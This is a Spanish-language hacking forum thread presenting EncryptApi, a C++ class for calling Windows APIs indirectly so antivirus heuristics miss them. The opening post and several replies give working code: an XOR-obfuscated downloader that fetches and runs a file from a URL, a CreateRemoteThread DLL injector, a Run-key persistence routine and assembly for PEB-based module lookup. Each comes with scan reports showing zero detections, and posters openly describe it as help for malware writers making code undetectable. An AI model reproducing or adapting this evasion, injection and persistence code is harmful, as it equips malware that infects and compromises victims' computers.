EncryptApi:
- ¿Qué es EncryptApi?
EncryptApi es una platilla escrita en C++ que vale para cifrar de una forma sencilla e intuitiva nuestras api's evitando la detección heurística por parte de los antivirus de nuestro código.
Su uso es tan simple como este:
#include "EncryptApi.hpp"
int main()
{
EncryptApi<int> myMessageBox("MessageBoxA","User32.dll", 5);
int retorno = myMessageBox(4, 0, "HOLA MUNDO!!", ":D", 0);
}
- ¿Qué es cada parámetro?
Como habréis visto el uso es bastante simple, la declaración funciona así:
EncryptApi<tipo_valor_de_retorno> (nombre_del_api, nombre_de_la_dll, numero_de_bytes_a_copiar);
Y gracias a la sobrecarga del operador () se puede llamar al api como se haría normalmente tan solo indicando en el primer parámetro el número total de parámetros del api.
- ¿Qué es número_de_bytes_a_copiar?
Esta es la única parte parte que tiene un poco de dificultad. Internamente la clase crea un buffer donde copia los bytes que le indiquemos en este parámetro he introduce un salto a la dirección del api más número_de_bytes_a_copiar.
De esta forma la clase, en vez de llamar al api, llama a este buffer, ejecutándose todo el código del api pero sin realizar una llamada directa, por lo que los antivirus ni se enteran.
¿Cómo podemos saber cuanto vale este valor? Pues muy fácil, ejecutamos el archivoDirApi.exe, que nos devolverá la dirección del api en memoria. Su código es este:
#include <windows.h>
#include <iostream>
using namespace std;
void main()
{
char nombreApi[50];
char nombreDll[50];
cout << "Introduzca el nombre del api: ";
cin >> nombreApi;
cout << "Introduzca el nombre de la dll: ";
cin >> nombreDll;
cout << "\nLa direccion del api es: "
<< GetProcAddress(LoadLibraryA(nombreDll), nombreApi) << endl;
system("pause");
}
En el caso del ejemplo la salida en mi PC es la siguiente:
CitarIntroduzca el nombre del api: MessageBoxA
Introduzca el nombre de la dll: User32.Dll
La direccion del api es: 77D504EA
Presione una tecla para continuar . . .
Así que abrimos con nuestro debugger favorito la dll en cuestión, nos vamos a esa dirección y nos fijamos en el número de bytes completos que podemos elegir, es decir, si la primera instrucción ocupa 5 bytes elegimos ese valor, en ningún caso se puede partir por la mitad una instrucción, pues el programa no funcionaría.
- ¿Y los resultados?
Pues voy aponer dos ejemplos típicamente detectados, un simple downloader y un inyector (usa CreateRemoteThread).
DOWNLOADER:
#include "EncryptApi.hpp"
void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++)
str[n] ^= clave[n%tamClave];
}
int main()
{
// Encriptacion de cadenas
const char key[] = "df5DF4s";
const int tamKey = 7;
char strURLDownloadToFileA[] = { 0x31, 0x34, 0x79, 0x0, 0x29, 0x43, 0x1d, 0x8, 0x9, 0x54, 0x20,
0x12, 0x5b, 0x35, 0xd, 0xa, 0x50, 0x5, 0x46 };
char strUrlmon[] = { 0x31, 0x14, 0x59, 0x29, 0x29, 0x5a, 0x5d, 0x0, 0xa, 0x59, 0x44 };
char strShellExecuteA[] = { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x71, 0xb, 0x1, 0x5, 0x40, 0x30, 0x23, 0x75, 0x73 };
char strShell32[] = { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x7, 0x41, 0x4a, 0x2, 0x59, 0x28, 0x46 };
xor(strURLDownloadToFileA, key, sizeof(strURLDownloadToFileA)-1, tamKey);
xor(strUrlmon, key, sizeof(strUrlmon)-1, tamKey);
xor(strShellExecuteA, key, sizeof(strShellExecuteA)-1, tamKey);
xor(strShell32, key, sizeof(strShell32)-1, tamKey);
// Codigo
EncryptApi<HRESULT> myURLDownloadToFile(strURLDownloadToFileA, strUrlmon, 11);
EncryptApi<HINSTANCE> myShellExecute (strShellExecuteA, strShell32, 5);
myURLDownloadToFile (5, 0, "http://foro.elhacker.net/Themes/converted/selogo.jpg", "C:\\imagen.jpg", 0, NULL);
myShellExecute (6, 0, "open", "C:\\imagen.jpg", NULL, NULL, SW_SHOW);
}
Detección:
Citar
File Info
Report generated: 16.5.2009 at 14.53.10 (GMT 1)
File size: 8 KB
MD5 Hash: 70B16F803C25C5E50A27A07F765CDB68
SHA1 Hash: 98190B3085CCFAFC91BCF4458A072728C2E0D895
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23
Detections
a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!
Scan report generated by
NoVirusThanks.org (http://novirusthanks.org)
INYECTOR:
#include "EncryptApi.hpp"
void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++)
str[n] ^= clave[n%tamClave];
}
int main()
{
// Encriptacion de cadenas
const char key[] = "df5DF4s";
const int tamKey = 7;
char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b,
0x16, 0x3, 0x54, 0x20, 0x46 };
char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16,
0x9, 0x9, 0x47, 0x3d, 0x46 };
char strVirtualAllocEx[] = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb,
0x64 };
char strOpenProcess[] = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 };
char strGetModuleHandleA[] = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f,
0x1, 0x27, 0x35 };
char strGetProcAddress[] = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0,
0x64 };
char strCloseHandle[] = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 };
char strKernel32[] = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 };
xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey);
xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey);
xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey);
xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey);
xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey);
xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey);
xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey);
xor(strKernel32, key, sizeof(strKernel32)-1, tamKey);
EncryptApi<HANDLE> myOpenProcess (strOpenProcess, strKernel32, 5);
EncryptApi<HMODULE> myGetModuleHandle (strGetModuleHandleA, strKernel32, 5);
EncryptApi<FARPROC> myGetProcAddress (strGetProcAddress, strKernel32, 5);
EncryptApi<LPVOID> myVirtualAllocEx (strVirtualAllocEx, strKernel32, 7);
EncryptApi<BOOL> myWriteProcessMemory (strWriteProcessMemory, strKernel32, 5);
EncryptApi<HANDLE> myCreateRemoteThread (strCreateRemoteThread, strKernel32, 5);
EncryptApi<BOOL> myCloseHandle (strCloseHandle, strKernel32, 5);
// Inyeccion dll
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
int pid = 1988;
char rutaDll[] = "C:\\Dll.dll";
proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
myCloseHandle(1,proceso);
return 0;
}
Detección:
CitarFile Info
Report generated: 16.5.2009 at 16.28.41 (GMT 1)
File size: 11 KB
MD5 Hash: 52CDDB1FB86FD33D2FFF238FDAB67CED
SHA1 Hash: 029C18B8FECC2522C65AB88C04D820EF32ECC091
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23
Detections
a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!
Scan report generated by
NoVirusThanks.org (http://novirusthanks.org)
Como podéis ver de forma complementaria he usado una función para cifrar algunas cadenas, pues algún AV detectaba el ejecutable simplemente por contener esos strings sospechosos. Podéis usar cualquier cifrado, aunque un simple xor basta. He adjuntado el archivo XOR.exe que os devuelve la cadena cifrada para que la metáis en vuestro código directamente.
Todos los códigos han sido compilados con VC++ 2008 express edition.
Más información:
http://e0n-productions.blogspot.com/2009/05/encryptapi.html
Descarga:
http://e0n-productions.awardspace.com/codigos/EncryptApi.rar_
Traducción de la parte en asm a AT&T por Arcangel_0x7C5:
http://arkangel.comuf.com//c++/EncryptApi.hpp
Muy buen code E0N.
Por cierto me acuerda a la cifrado de api's que usabas en tu crypter privado que tube la posibilidad de leer el source :D
Joer los 3 Top's= Mad, Whk,Eon estan con chincheta!!! Eon como simpre en su tinta :)
Si YST es similar, ahora está mejorado, automatizado y es indetectable ;)
Gracias por la chincheta MITM, menos mal que te has vuelto a poner tu nick de siempre y que vuelves a moderar como siempre xDD
Te salio un verso sin mucho exfuerzo jajaj, naaa tio ahora ya estoy reload, instalado y con unas sorpresitas para el facebook
HOLA , una pregunta, esto funciona tanto en scan como run time? slau2s
Creo que no has entendido muy bien el funcionamiento, esto es una clase que ayuda a los programadores de malware en C++ a hacer sus códigos indetectables, si te refieres a las protecciones proactivas (vease la del KAV) al llamar al api si el kav salta va a seguir saltando...
jmmm okas salu2s ;D
tambien salta el nod32 >:( >:( >:(
intente junto con este metodo modificar los string que utilizo llamando la api RegSetValueEx que es detectada siempre cuando intento llegar al "\CurrentVersion\Run" parece que tendre que buscar otra manera de que arranque.
Pero salta al escanear o al ejecutar??
hice una funcion guiandome de la clase EncryptApi en masm e inmediatamente le doy a crear el exe me dice que es un virus
Cargo la libreria con LoadLibrary, Busco la direccion con GetProcAddress e inmediatamente cifro la cadena CurrentVersion\Run avisa que es un virus...posiblemente la heuristica del nod32 testee el ejecutable buscando rutinas maliciosas
Cita de: mrscript en 27 Mayo 2009, 05:42 AM
hice una funcion guiandome de la clase EncryptApi en masm e inmediatamente le doy a crear el exe me dice que es un virus
Cargo la libreria con LoadLibrary, Busco la direccion con GetProcAddress e inmediatamente cifro la cadena CurrentVersion\Run avisa que es un virus...posiblemente la heuristica del nod32 testee el ejecutable buscando rutinas maliciosas
Estás utilizando también la función XOR para cifrar las cadenas?
Eon, modifike tu clase para que funcionara con el MinGW
Aqui (http://arkangel.comuf.com//c++/EncryptApi.hpp) os la dejo. Pola en el primer post
Saludos
Cita de: mrscript en 27 Mayo 2009, 05:42 AM
hice una funcion guiandome de la clase EncryptApi en masm e inmediatamente le doy a crear el exe me dice que es un virus
Cargo la libreria con LoadLibrary, Busco la direccion con GetProcAddress e inmediatamente cifro la cadena CurrentVersion\Run avisa que es un virus...posiblemente la heuristica del nod32 testee el ejecutable buscando rutinas maliciosas
Nod32 está mejorando enormemente la heurística a archivos, me jugaría algo a que te detecta la cadena CurrentVersion\Run aún estando cifrada, prueba a compilar con otra cadena y mira si te lo detecta. Yo tube problemas al hacer el stub del little joiner, al poner en un dword el tamaño del stub nod32 me lo detectaba, y ya podía pasarle un xor a ese número, poner otro y sumarle la diferencia o lo que fuera que me lo seguía detectando :¬¬.
Saludos
Cita de: Arcangel_0x7C5 en 27 Mayo 2009, 14:44 PM
Eon, modifike tu clase para que funcionara con el MinGW
Aqui (http://arkangel.comuf.com//c++/EncryptApi.h) os la dejo. Pola en el primer post
Saludos
Yo no entiendo por que me da un error de memoria :-\ Si uso Dev C++ y también utiliza gcc
upp, me equivoque al subirlo. arreglado
Añadido el link a tu Arcangel_0x7C5, gracias, me consta que unos cuanto usuarios del foro le sacarán buen partido ;)
mrscript, un gusto volver a verte activo por el foro, en cuanto a tu duda... Pues algo estás haciendo tu mal en asm, mira un código en C++ que te he hecho para el ejemplo (un poco enchorizado, pero se entiende):
#include "EncryptApi.hpp"
void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++)
str[n] ^= clave[n%tamClave];
}
void main()
{
const char key[] = "a1b2c3";
const int tamKey = 6;
// advapi32.dll
char strAdvapi32[] = { 0x0, 0x55, 0x14, 0x53, 0x13, 0x5a, 0x52, 0x3, 0x4c, 0x56, 0xf, 0x5f, 0x61 };
// RegOpenKeyExA
char strRegOpenKeyEx[] = { 0x33, 0x54, 0x5, 0x7d, 0x13, 0x56, 0xf, 0x7a, 0x7, 0x4b, 0x26, 0x4b, 0x20, 0x31 };
// RegSetValueExA
char strRegSetValueEx[] = { 0x33, 0x54, 0x5, 0x61, 0x6, 0x47, 0x37, 0x50, 0xe, 0x47, 0x6, 0x76, 0x19, 0x70, 0x62 };
// RegCloseKey
char strRegCloseKey[] = { 0x33, 0x54, 0x5, 0x71, 0xf, 0x5c, 0x12, 0x54, 0x29, 0x57, 0x1a, 0x33 };
// Software\Microsoft\Windows\CurrentVersion\Run
char strRutaReg[] = { 0x32, 0x5e, 0x4, 0x46, 0x14, 0x52, 0x13, 0x54, 0x3e, 0x7f, 0xa, 0x50, 0x13, 0x5e,
0x11, 0x5d, 0x5, 0x47, 0x3d, 0x66, 0xb, 0x5c, 0x7, 0x5c, 0x16, 0x42, 0x3e, 0x71,
0x16, 0x41, 0x13, 0x54, 0xc, 0x46, 0x35, 0x56, 0x13, 0x42, 0xb, 0x5d, 0xd, 0x6f,
0x33, 0x44, 0xc, 0x32 };
// desciframos
xor(strAdvapi32, key, sizeof(strAdvapi32)-1, tamKey);
xor(strRegOpenKeyEx, key, sizeof(strRegOpenKeyEx)-1, tamKey);
xor(strRegSetValueEx, key, sizeof(strRegSetValueEx)-1, tamKey);
xor(strRegCloseKey, key, sizeof(strRegCloseKey)-1, tamKey);
xor(strRutaReg, key, sizeof(strRutaReg)-1, tamKey);
// Apis
EncryptApi<LONG> myRegOpenKeyEx (strRegOpenKeyEx, strAdvapi32, 5);
EncryptApi<LONG> myRegSetValueEx (strRegSetValueEx, strAdvapi32, 2);
EncryptApi<LONG> myRegCloseKey (strRegCloseKey, strAdvapi32, 5);
// Código
HKEY hkey;
myRegOpenKeyEx(5, HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
myRegSetValueEx(6, hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
myRegCloseKey(1, hkey);
/*
Código sin cifrar:
---------------------
HKEY hkey;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
RegSetValueExA(hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
RegCloseKey(hkey);*/
}
Resultados:
File Info
Report generated: 28.5.2009 at 0.46.24 (GMT 1)
Filename: registro.exe
File size: 9 KB
MD5 Hash: E35F0136E24CBCD98EDE8B5C65A2D5CD
SHA1 Hash: EB94157F26C96ABA1C02ACD4BC08DF6FE41E4249
Packer detected: Nothing found *
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 24
Detections
a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!
Scan report generated by
NoVirusThanks.org (http://novirusthanks.org)
Puedes escanearlo en esa web marcando la opción de no distribur sin problemas... Como ves te lo deja FUD y crea con éxito una clave en HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Si quieres pegha la traducción a asm que has hecho del método a ver si le vemos la diferencia :P
Salu2
Reescribire de nuevo la funcion a ver si tenia algun error
Cita de: Arcangel_0x7C5 en 27 Mayo 2009, 17:18 PM
upp, me equivoque al subirlo. arreglado
Sí!!! Arcangel_0x7C5 ahora sí ;-) Excelente aporte! E0N sigue dándole caña a éste subforo :P
S4ludos!
[quote author=E0N link=topic=255039.msg1234972#msg1234972
Así que abrimos con nuestro debugger favorito la dll en cuestión, nos vamos a esa dirección y nos fijamos en el número de bytes completos que podemos elegir, es decir, si la primera instrucción ocupa 5 bytes elegimos ese valor, en ningún caso se puede partir por la mitad una instrucción, pues el programa no funcionaría.
[/quote]
Alguien intento abrir una dll?
La mayoria de los debuggers que tengo no pueden abrir las dll :-\
UPDATE: Tengo una version vieja de OllyDB, por eso no me admite las Dlls, col la nueva sirve ;-)
Es solo la idea para MrScript , sacas el handle de la ADVAPI usas mi función (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244290#msg1244290) para sacar la posicion de las apisb y encriptas todas las cadenas con alguna macro , teoricamente deberia ser FUD :P .
Un code para sacar el handle
include 'win32ax.inc'
.code
start:
stdcall ASCIITOUNICODE,"ADVAPI32.dll",buffer
stdcall GetModuleHW,buffer
invoke GetModuleFileName,eax,buffer,MAX_PATH
invoke MessageBox,0,buffer,0,0
invoke ExitProcess,0
proc GetModuleHW,cName
push ebx edi esi
.if [cName] = 0
mov eax,dword [fs:18h]
mov eax,dword [eax+30h]
mov eax,dword [eax+8h]
jmp .salir
.endif
mov eax,[fs:30h]
mov eax,[eax+0Ch]
mov edi,[eax+10h]
mov esi,dword[edi+30h]
.siguiente:
mov ebx,dword[edi+30h]
invoke lstrcmpW,[cName],ebx
.if eax <> 0
mov edi,[edi+4h]
cmp esi,dword[edi+30h]
jne .siguiente
jmp .salir
.endif
mov eax,dword[edi+18h]
jmp .salir
.error:
xor eax,eax
.salir:
pop edi ebx
ret
endp
proc ASCIITOUNICODE,Cadena,Buffer
push ecx ebx
mov eax,[Cadena]
mov ebx,[Buffer]
dec eax
dec ebx
dec ebx
.bucle:
add eax,1
cmp byte[eax],0
je .salir
inc ebx
inc ebx
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp
.data
buffer rb MAX_PATH
.end start
section '.reloc' fixups data discardable
Perdon por subir un tema de Junio...
He estado haciendo pruebas con el EncryptApi de E0N y el Kapersky 2010 me lo detecta por heurística. ¿Como es posible? Tanto han evolucionado los AVs o se me escapa algo. ¿Como lo pueden detectar, si en realidad no se llama a la función sino que se hace un JMP... ?
// crypt.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "EncryptApi.hpp"
void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++) str[n] ^= clave[n%tamClave];
}
void EnableDebugPriv( void )
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken );
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue );
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL );
CloseHandle( hToken );
}
void main(int argc, char* argv[]) {
// Encriptacion de cadenas
const char key[] = "df5DF4s";
const int tamKey = 7;
char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b, 0x16, 0x3, 0x54, 0x20, 0x46 };
char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16, 0x9, 0x9, 0x47, 0x3d, 0x46 };
char strVirtualAllocEx[] = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb, 0x64 };
char strOpenProcess[] = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 };
char strGetModuleHandleA[] = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f, 0x1, 0x27, 0x35 };
char strGetProcAddress[] = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0, 0x64 };
char strCloseHandle[] = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 };
char strKernel32[] = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 };
xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey);
xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey);
xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey);
xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey);
xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey);
xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey);
xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey);
xor(strKernel32, key, sizeof(strKernel32)-1, tamKey);
EncryptApi<HANDLE> myOpenProcess (strOpenProcess, strKernel32, 5);
EncryptApi<HMODULE> myGetModuleHandle (strGetModuleHandleA, strKernel32, 5);
EncryptApi<FARPROC> myGetProcAddress (strGetProcAddress, strKernel32, 5);
EncryptApi<LPVOID> myVirtualAllocEx (strVirtualAllocEx, strKernel32, 7);
EncryptApi<BOOL> myWriteProcessMemory (strWriteProcessMemory, strKernel32, 5);
EncryptApi<HANDLE> myCreateRemoteThread (strCreateRemoteThread, strKernel32, 5);
EncryptApi<BOOL> myCloseHandle (strCloseHandle, strKernel32, 5);
// get PID
if (argc < 2)
{
printf( "Introduce PID in the first arg.\n");
return ;
}
int pid = atoi(argv[1]);
printf("PID=%d\n" ,pid);
EnableDebugPriv();
// Inyeccion dll
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
char rutaDll[] = "C:\\HPA\\RK\\testDll.dll";
proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
myCloseHandle(1,proceso);
}
Cita de: topoman en 13 Diciembre 2009, 18:52 PM
Perdon por subir un tema de Junio...
He estado haciendo pruebas con el EncryptApi de E0N y el Kapersky 2010 me lo detecta por heurística. ¿Como es posible? Tanto han evolucionado los AVs o se me escapa algo. ¿Como lo pueden detectar, si en realidad no se llama a la función sino que se hace un JMP... ?
// crypt.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "EncryptApi.hpp"
void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++) str[n] ^= clave[n%tamClave];
}
void EnableDebugPriv( void )
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken );
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue );
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL );
CloseHandle( hToken );
}
void main(int argc, char* argv[]) {
// Encriptacion de cadenas
const char key[] = "df5DF4s";
const int tamKey = 7;
char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b, 0x16, 0x3, 0x54, 0x20, 0x46 };
char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16, 0x9, 0x9, 0x47, 0x3d, 0x46 };
char strVirtualAllocEx[] = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb, 0x64 };
char strOpenProcess[] = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 };
char strGetModuleHandleA[] = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f, 0x1, 0x27, 0x35 };
char strGetProcAddress[] = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0, 0x64 };
char strCloseHandle[] = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 };
char strKernel32[] = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 };
xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey);
xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey);
xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey);
xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey);
xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey);
xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey);
xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey);
xor(strKernel32, key, sizeof(strKernel32)-1, tamKey);
EncryptApi<HANDLE> myOpenProcess (strOpenProcess, strKernel32, 5);
EncryptApi<HMODULE> myGetModuleHandle (strGetModuleHandleA, strKernel32, 5);
EncryptApi<FARPROC> myGetProcAddress (strGetProcAddress, strKernel32, 5);
EncryptApi<LPVOID> myVirtualAllocEx (strVirtualAllocEx, strKernel32, 7);
EncryptApi<BOOL> myWriteProcessMemory (strWriteProcessMemory, strKernel32, 5);
EncryptApi<HANDLE> myCreateRemoteThread (strCreateRemoteThread, strKernel32, 5);
EncryptApi<BOOL> myCloseHandle (strCloseHandle, strKernel32, 5);
// get PID
if (argc < 2)
{
printf( "Introduce PID in the first arg.\n");
return ;
}
int pid = atoi(argv[1]);
printf("PID=%d\n" ,pid);
EnableDebugPriv();
// Inyeccion dll
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
char rutaDll[] = "C:\\HPA\\RK\\testDll.dll";
proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
myCloseHandle(1,proceso);
}
